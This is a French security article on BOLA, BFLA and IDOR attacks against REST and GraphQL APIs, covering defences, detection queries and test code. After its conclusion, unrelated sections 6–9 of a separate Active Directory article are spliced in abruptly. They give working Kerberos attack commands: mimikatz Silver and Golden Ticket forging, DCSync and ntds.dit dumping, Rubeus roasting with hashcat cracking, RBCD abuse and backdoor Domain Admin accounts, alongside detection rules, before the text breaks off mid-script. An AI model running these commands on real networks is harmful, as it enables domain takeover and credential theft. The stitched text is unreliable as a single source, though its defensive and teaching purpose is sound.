Attaques sur API GraphQL et REST (BOLA/BFLA/IDOR)

Résumé exécutif

Les API REST et GraphQL sont devenues le socle des architectures modernes. Elles exposent des données sensibles et des opérations critiques, ce qui en fait une cible privilégiée pour les attaquants. Les vulnérabilités telles que Broken Object Level Authorization (BOLA), Broken Function Level Authorization (BFLA) et Insecure Direct Object Reference (IDOR) permettent de contourner les contrôles d'accès, d'escalader les privilèges et d'exfiltrer des informations. Cet article propose une analyse détaillée de ces attaques, explore les spécificités REST/GraphQL, les méthodes de test (automatiques et manuelles), et décrit des protections robustes (rate-limiting adaptatif, journalisation riche, detection). L'objectif est de fournir une feuille de route aux équipes d'API security, DevSecOps et SOC.

Panorama des vulnérabilités

• BOLA (Broken Object Level Authorization) : accès à des objets (ressources) sans autorisation. Exemple : /api/v1/users/123 accessible par un autre utilisateur.
• BFLA (Broken Function Level Authorization) : accès à des actions ou opérations (POST, DELETE) sans autorisation.
• IDOR (Insecure Direct Object Reference) : référence directe (ID, clé) exploitée sans vérification.
• Mass Assignment : injection de champs non attendus.
• GraphQL-specific : introspection, query batching, nested queries, field-level auth.

BOLA : fonctionnement et cas

Exemple REST

GET /api/accounts/2001
Authorization: Bearer token-userA

Si l'API ne vérifie pas que token-userA appartient au compte 2001, l'utilisateur peut récupérer les données d'un autre compte (UserB).

GraphQL

query { account(id: "2001") { balance owner } }

Le resolver doit vérifier l'autorisation.

Impacts

• Exfiltration PII, données financières.
• Escalade privilèges.

BFLA : fonctionnement

Text : user a accés à POST /admin/users. Bypass method-level auth. GraphQL mutation { deleteUser(id: "10") }.

IDOR

• Paramètre file=invoice_2023.pdf -> accès à d'autres fichiers.
• GraphQL node(id: "Base64(User:123)").

GraphQL spécificités

• Introspection : __schema.
• Wild queries : requêtes profondes.
• Field-level authorization : Resolvers multi sources.
• Batching : @defer.
• Aliasing : contourner rate limit.

Tests de sécurité

Approche manuelle

• Burp Suite, Postman, GraphiQL.
• Test BOLA : changer IDs, fuzz.
• BFLA : tester méthodes, endpoints non documentés.
• IDOR : manipuler query params, path, body (JSON).

Automatisation

• Tools : OWASP ZAP, Burp Extender (Authz), AppSec Phoenix.
• GraphQL fuzzers : InQL, GraphQLmap.
• SAST/IAST -> route.

Tests en CI/CD

• Intégrer scanners (42Crunch, StackHawk).
• Tests contract (schema).

Protections applicatives

• AuthZ fine grain : vérifier user -> resource mapping sur chaque requête.
• ABAC / RBAC : policies (OPA, Cedar).
• GraphQL : directive @auth, resolver, data loader.
• ID Obfuscation : utiliser UUID random, Base64. (Ne remplace pas Auth).
• Input validation : JOI, class-validator.
• Mass assignment protection : allowlist fields, DTO.

Rate Limiting adaptatif

• Rate limit par utilisateur/clé/API.
• Utiliser Token bucket, Leaky bucket.
• Adapter selon pattern (GraphQL query cost).
• Reverse proxies (API Gateway).

GraphQL query cost

• Attribuer un coût par champ.
• Calculer total.
• Rejeter > threshold.

Tooling

• Kong, NGINX, Apigee, AWS API Gateway.
• GraphQL: graphql-depth-limit, graphql-cost-analysis.

Logs utiles

• userid, resourceid, tenant, action, parameters, scope, tokenid, clientip.
• GraphQL: log query, variables, operationName, depth, cost.
• Corrélation traceid.

• SIEM rules: Multiple 404 -> 200 patterns.
• ML: anomaly on resourceid access (UEBA).
• GraphQL logs -> detect wildcard queries.
• SOAR: block token, notify.

Hardening infrastructure

• API Gateway (Apigee, Kong) enforce quotas, auth, schema validation.
• Service mesh (Istio) -> mTLS, RBAC.
• Sidecar proxies.
• WAF (AWS WAF, Cloudflare) -> block injection.

Secure design

• Principle of least privilege.
• Tenant isolation.
• Data partition (sharding).
• Field-level encryption (Hash).

DevSecOps process

• Security requirements early.
• Threat modeling (per endpoint).
• Security unit tests (Auth).
• Code review (Auth).

GraphQL best practices

• Disable introspection in prod (or protect).
• Schema linting (graphql-schema-linter).
• Persisted queries.
• DataLoader -> prevent N+1 (perf).
• Authorization in resolvers.

REST best practices

• Use standard status codes.
• Enforce scopes (OAuth).
• Validate path/body.

Tools

• 42Crunch (API security testing).
• Salt Security (runtime detection).
• Noname Security.

Case studies

• Facebook bug bounty: GraphQL BOLA -> access posts.
• Uber 2017 BFLA -> escalate to driver.
• Shopify IDOR -> cross tenant data.

Response playbook

1. Receive alert (BOLA). 2. Identify compromised resource. 3. Revoke tokens, block user. 4. Audit logs (scope). 5. Patch authorization logic. 6. Notify data owners. 7. Post-mortem.

Roadmap

1. Inventory endpoints & data classification. 2. Implement consistent auth middleware. 3. Deploy API Gateway schema validation. 4. Automate tests (BOLA fuzz). 5. Monitor & adjust rate-limit. 6. Introduce ML detection. 7. Continuous training & bug bounty.

Conclusion

BOLA détaillé : modèle de menace

Étapes d’attaque

1. Authentification avec un token valide (accès utilisateur). 2. Enumeration des endpoints (Burp, GraphQL introspection). 3. Manipulation de l’identifiant (path, query, body). 4. Observation de la réponse : 200 vs 403. 5. Automatisation (script) pour extraire données massivement.

Facteurs de risque

• Multi-tenant applications.
• ID séquentiels (1,2,3).
• Endpoints non couverts par middleware d’authz.
• Migration legacy.

BFLA détaillé

• Attackers identifient endpoints admin (via reverse engineering).
• Tentent d’exécuter actions (POST/DELETE) avec token bas privilège.
• S’il n’y a pas de vérification de rôle, l’action réussit.

IDOR

• Param ?file=invoice_A.pdf. L’attaquant change B.pdf.
• Solutions : mapping opaque, validation server-side.

Scénarios GraphQL avancés

• Batching : query { u1: user(id: "1") { email } u2: user(id: "2") { email } }. Bypass rate limit 1 req -> 2 users.
• Introspection : query { __schema { types { name fields { name } } } }. reveal operations.
• Length-based DoS : queries deeply nested -> degrade service.
• Field-level auth : user -> query admin-only field.

Sécurité GraphQL : mesures

• query depth limit.
• query cost limit.
• Persisted queries (persisted Id, no dynamic).
• Disable introspection (prod) or protect via RBAC.
• authorization middleware per field.
• GraphQL Shield, graphql-authz.

Rate limiting adaptatif (détails)

• Basé sur userid, IP, clientid, accesstoken, tenant.
• Adaptive = moduler selon risque : utilisateur avec comportement anormale -> réduire quotas.
• Sliding window log.
• Intégrer signaux (UEBA).

cost = Σ (field complexity × child cost)

• Format JSON structuré.
• Inclure requestid, traceid.
• GraphQL: log operationName, query hash, cost.
• Retention 12 mois.
• Streaming -> SIEM.

• Features : resource, user, time, responsecode.
• Model IsolationForest -> detection anomalies (ex user 123 accède à 100 ressources, unusual).
• Combine with velocity rules.

Testing frameworks

• Postman -> collections automated tests.
• Newman for CI.
• Karate, REST Assured.
• SuperTest (Node).

Security testing pipeline

1. PR -> SAST (Auth lints). 2. Build -> Unit tests (auth). 3. Integration -> Contract tests (schema). 4. Security tests -> BOLA fuzz (custom). 5. Staging -> DAST (ZAP). 6. Prod -> Runtime detection.

Authorization frameworks

• OPA (Open Policy Agent) -> Rego policies.
• Cedar (AWS).
• Casbin.

Example OPA policy

package httpapi.authz

allow {
  input.subject.role == "admin"
}

allow {
  input.action == "read"
  input.subject.userid == input.resource.ownerid
}

Data classification & mapping

• Classify data per endpoint.
• High sensitivity -> more controls.

Zero trust API

• mTLS between services.
• Identity aware proxies.

Observabilité service mesh

• Istio -> telemetry for HTTP.
• AuthorizationPolicy enforce RBAC.
• Envoy extauthz.

ApiLogs
| summarize cnt=count() by userId, resourcePath
| join kind=inner (
    ApiLogs
    | summarize distinctUser=dcount(userId) by resourcePath
) on resourcePath
| where distinctUser > 10 and cnt > 100

index=api sourcetype=rest | stats dc(user) as users by resource | where users > 50

directive @auth(requires: Role = USER) on FIELDDEFINITION

type Query {
  me: User @auth(requires: USER)
  adminStats: Stats @auth(requires: ADMIN)
}

Resolver checks context.

REST example with middleware

@app.route('/accounts/<accountid>')
@requirescope('accounts:read')
def getaccount(accountid):
    account = Account.query.get(accountid)
    if account.ownerid != currentuser.id:
        abort(403)
    return jsonify(account.todict())

API security testing tools

• TrafficParrot, Mitmproxy.
• Shadow API discovery (Salt).

Observabilité advanced

• Use distributed tracing (OpenTelemetry).
• Trace ID correlation.

GraphQL performance guard

• Limit max alias.
• Set timeout.

Rate-limiting sample config (NGINX)

limitreqzone $binaryremoteaddr zone=perip:10m rate=10r/s;
limitreq zone=perip burst=20 nodelay;

• Partition data by tenant.
• Include tenantid in tokens.
• Enforce tenant-level filters at DB (Row-Level Security).

Auditing

• Regular review of access logs.
• Pen test focusing on AuthZ.

ML-based detection example

• Use AWS Fraud Detector or custom model.
• Feature: uniqueresourcesaccessedperminute.

Offboarding & key rotation

• Revoke tokens quickly.
• Lifecycle management.

Compliance

• GDPR: unauthorized access -> breach.
• PCI DSS: service access logs.

Roadmap (détaillé)

• Mois 1-2 : inventory, baseline.
• Mois 3-4 : implement middleware auth.
• Mois 5-6 : deploy API Gateway policies, rate limit.
• Mois 7-8 : integrate runtime detection.
• Mois 9-12 : ML analytics, bug bounty.

Culture & communication

• Security champions program.
• Slack channel #api-security.
• Monthly review.

Conclusion enrichie

Annexes avancées

Tableau de mapping vulnérabilités -> contrôles

| Vulnérabilité | Contrôles techniques | Processus | |---------------|----------------------|-----------| | BOLA | Vérification per-resource, ABAC, tests BOLA automatiques | Revues de code, QA security | | BFLA | RBAC fonctionnel, annotation @PreAuthorize, API Gateway policies | Threat modeling, revue design | | IDOR | Opaque IDs, validation server-side, row-level security | Data classification | | Mass Assignment | DTO whitelist, validation frameworks | Tests unitaires | | GraphQL abuse | Depth/cost limiters, field auth, persisted queries | Governance schema |

Processus de threat modeling

1. Identifier les ressources (User, Orders, Payments). 2. Définir sujets (user roles). 3. Cartographier routes/operations. 4. Définir règles (who can access what). 5. Documenter menaces (BOLA) et mitigations.

Pipeline de tests BOLA automatisés

• Collecter liste endpoints (OpenAPI, GraphQL introspection).
• Générer requêtes variées (IDs, tenants).
• Exécuter tests via CI (newman).
• Valider réponses (403 vs 200).
• Reporter anomalies.

Observabilité multi-couche

• Edge : API Gateway logs.
• App : logs business (owner).
• DB : audit (who accessed).
• Corrélation via traceid.

{
  "timestamp": "2024-05-03T10:15:00Z",
  "requestid": "abc-123",
  "userid": "u567",
  "tenantid": "t12",
  "resource": "/api/accounts/2001",
  "method": "GET",
  "status": 200,
  "authscope": ["accounts:read"],
  "responsetimems": 45,
  "ip": "10.0.5.4",
  "querycost": 12,
  "anomalyscore": 0.1
}

index=api status=200
| stats dc(resourceid) as uniqueResources values(resourceid) by user
| where uniqueResources > 100

ApiLogs
| where Method in ("POST","PUT","DELETE") and ResponseStatus == 200
| summarize distinctRoles = dcount(UserRole) by Endpoint
| where distinctRoles > 3

• API -> Envoy extauthz -> OPA -> Policy evaluation -> allow/deny.

Row-Level Security (PostgreSQL)

ALTER TABLE accounts ENABLE ROW LEVEL SECURITY;
CREATE POLICY userpolicy ON accounts
USING (ownerid = currentsetting('app.userid')::uuid);

Rate limiting per tenant

limitreqzone $httpxtenant zone=pertenant:10m rate=100r/m;

OpenAPI/AsyncAPI governance

• lint specs (Spectral).
• enforce security schemes.

GraphQL schema scanning

• Tools: graphql-security-scanner, GraphQLCop.

Purple team scenario

1. Red team enumerates GraphQL schema. 2. Attempts BOLA. 3. Blue team monitors logs, detection. 4. Evaluate response time.

Cloud provider integration

• AWS API Gateway + Lambda authorizer.
• GCP Apigee + Cloud Armor.
• Azure API Management.

Observabilité streaming

• Use Kafka topics api-logs.
• ksqlDB running queries (anomaly).

External threat intel

• Monitor leak sites.
• Subscriptions to API security advisories.

Posture management

• Use API discovery (Tyk, Akamai).
• Identify shadow APIs.

Incident communication

• If data exposed, legal/regulators.
• Template message.

Compliance mapping

• PCI DSS Req 7 (restrict access).
• GDPR (data minimization).

Metrics for leadership

• API security risk index.
• Time to remediate vulnerabilities.
• Coverage tests.

Future trends

• GraphQL Federation -> new auth challenges.
• Async APIs (WebSockets).
• AI-driven testing.

Conclusion finale

Annexes techniques (suite)

Example of adaptive rate limiting logic (pseudo)

if useranomalyscore > 0.8:
    limit = 5
elif userrole == 'service'
    limit = 200
else:
    limit = 50
if requestsinwindow(userid) >= limit:
    blockrequest()

apirequeststotal{endpoint="/accounts",status="200"}
apibolaattemptstotal{tenant="t1"}

Alert rules : bolaattemptstotal > 10 in 5 min.

BOLA detection using Elastic Watcher

POST watcher/watch/bola
{
  "trigger": { "schedule": { "interval": "1m" } },
  "input": { "search": { "request": { "indices": ["api-logs-*"],
      "body": { "aggs": { "users": { "terms": { "field": "userid", "size": 10 },
            "aggs": { "resources": { "cardinality": { "field": "resourceid" } } } } },
        "query": { "range": { "@timestamp": { "gte": "now-5m" } } } } } } },
  "condition": { "script": "return ctx.payload.aggregations.users.buckets.any(u -> u.resources.value > 200);" },
  "actions": { "notify": { "email": { "to": "[email protected]", "subject": "BOLA suspect" } } }
}

function enforceScope(scope) {
  return (req, res, next) => {
    if (!req.user.scopes.includes(scope)) {
      return res.status(403).json({ error: 'forbidden' });
    }
    next();
  };
}
app.get('/accounts/:id', enforceScope('accounts:read'), handler);

class AuthDirective extends SchemaDirectiveVisitor {
  visitFieldDefinition(field) {
    const { resolve = defaultFieldResolver } = field;
    field.resolve = async function(root, args, ctx, info) {
      if (!ctx.user || !ctx.user.roles.includes('ADMIN')) {
        throw new AuthenticationError('Forbidden');
      }
      return resolve.call(this, root, args, ctx, info);
    };
  }
}

| Champ | Description | |-------|-------------| | requestid | Identifiant unique de requête | | userid | Identifiant utilisateur (ou client) | | tenantid | Organisation / tenant | | clientid | Application (mobile, web) | | authscope | Scopes OAuth / permissions | | resource | Endpoint ou résolution GraphQL | | resourceid | Identifiant business (si applicable) | | action | Opération (READ, UPDATE) | | responsestatus | Code HTTP | | responsetime | Temps de réponse | | anomalyscore | Score ML | | ratelimitremaining | Quota restant | | ip, device | Contexte |

GraphQL query depth limiter (Node)

const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
  schema,
  validationRules: [depthLimit(5)],
});

GraphQL cost analyzer

const costAnalysis = require('graphql-cost-analysis').default;
validationRules: [costAnalysis({
  maximumCost: 1000,
  variables: request.variables,
  onComplete: cost => logger.info({ cost })
})]

Dynamic rate limiting with Redis

key = f"rate:{userid}:{window}"
count = redis.incr(key)
if count == 1:
    redis.expire(key, windowsize)
if count > limit:
    return 429

Alert thresholds

• >= 3 anomalies en 5 minutes -> alert.
• Rate limit exceeded -> log + notify.
• Forbidden -> Success pattern -> BOLA attempt.

Example of BOLA anomaly detection with UEBA

• Feature: uniqueresourceslast_5min.
• Baseline per user role.
• Alert if z-score > 3.

Observability with datadog

• Monitor http.request.count{resource:/accounts}.
• Create SLO: latency < 200ms, error < 0.5%.
• Security monitors: @anomaly.

Incident retrospective template

1. Contexte. 2. Détection. 3. Réponse. 4. Impacts (données). 5. Root cause. 6. Actions correctives. 7. Actions préventives. 8. Lessons learned.

API security program checklist

• [ ] API inventory.
• [ ] AuthZ policies documented.
• [ ] Tests (manual, automated).
• [ ] Logging & monitoring centralisé.
• [ ] Response runbook.
• [ ] Training completed.
• [ ] Governance board.
• [ ] Bug bounty active.

Security Champions activities

• Revue hebdomadaire.
• Pair programming sur endpoints critiques.

CI/CD integration (GitHub Actions)

jobs:
  security-tests:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run BOLA tests
        run: npm run test:authz
      - name: Run GraphQL schema lint
        run: npm run lint:schema

Example BOLA test (Jest)

test('user cannot access another account', async () => {
  const token = await loginAs('userA');
  const res = await request(api).get('/accounts/2002').set('Authorization', Bearer ${token});
  expect(res.status).toBe(403);
});

Integration with Config management

• Store rate limit configs in Git (IaC).
• Review via PR.

Governance boards

• API Security Steering Committee.
• Meets monthly (metrics, incidents).

KPI summary

• Mean detection time
• Mean containment time
• Open vulnerabilities
• Shadow APIs discovered
• Rate limit events.

Future-proofing

• Monitor GraphQL Federation adoption.
• Evaluate API verification (signed requests).
• Explore confidential computing service invocation.

Final recommandations

• Intégrer la sécurité dès la conception (shift-left).
• Utiliser des outils automatisés (scanners, ML).
• Maintenir une observabilité riche et corrélée.
• Réaliser des tests humains (pentest, bug bounty).
• Développer une culture cross-fonctions orientée sécurité.

Annexes finales

Tableau RACI

| Activité | Responsable | Accountable | Consulté | Informé | |----------|-------------|-------------|----------|---------| | Définir politiques AuthZ | AppSec Lead | CTO | Dev Leads, Product | SecOps | | Implémenter middleware | Dev Teams | Dev Manager | AppSec | QA | | Configurer Gateway | Platform Team | Platform Manager | AppSec | SOC | | Monitoring & alerting | SecOps | SOC Manager | AppSec | Dev | | Réponse incident | SecOps | CISO | Legal, Product | Exec |

Document de politique interne (extrait)

"Toute API exposée doit appliquer un contrôle d'accès par ressource. Les tokens doivent inclure des scopes explicites. Les identifiants directs ne doivent jamais être exposés sans vérification côté serveur. Les requêtes GraphQL en production doivent respecter les limites de profondeur et de coût définies par l'équipe AppSec."

Programme de formation continue

• Mensuel : session knowledge sharing (nouveaux outils, incidents).
• Trimestriel : lab BOLA/BFLA.
• Annuel : table-top exercice API breach.

Communication et reporting

• Rapport trimestriel API security -> board.
• KPI partagés (Confluence, PowerBI).
• Slack channel #api-security-alerts.

Étapes finales de la roadmap

• Intégration des signaux API dans la Threat Intelligence interne.
• Automatisation de la réponse (SOAR) pour révoquer tokens.
• Alignement des politiques API avec Zero Trust (device + user + context).

Conclusion finale

Protéger les API contre les vulnérabilités BOLA, BFLA et IDOR exige une approche globale, mêlant principes de moindre privilège, tests systématiques, instrumentation avancée, gouvernance et culture collaborative. En plaçant la sécurité des API au cœur de la stratégie numérique, les organisations sécurisent leurs données, respectent les exigences réglementaires et maintiennent la confiance de leurs clients.

Continuer à mesurer, itérer, partager et améliorer garantit que les API restent résilientes face aux attaques futures. Toujours apprendre, toujours coopérer, toujours sécuriser. Sécurité, résilience, confiance.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
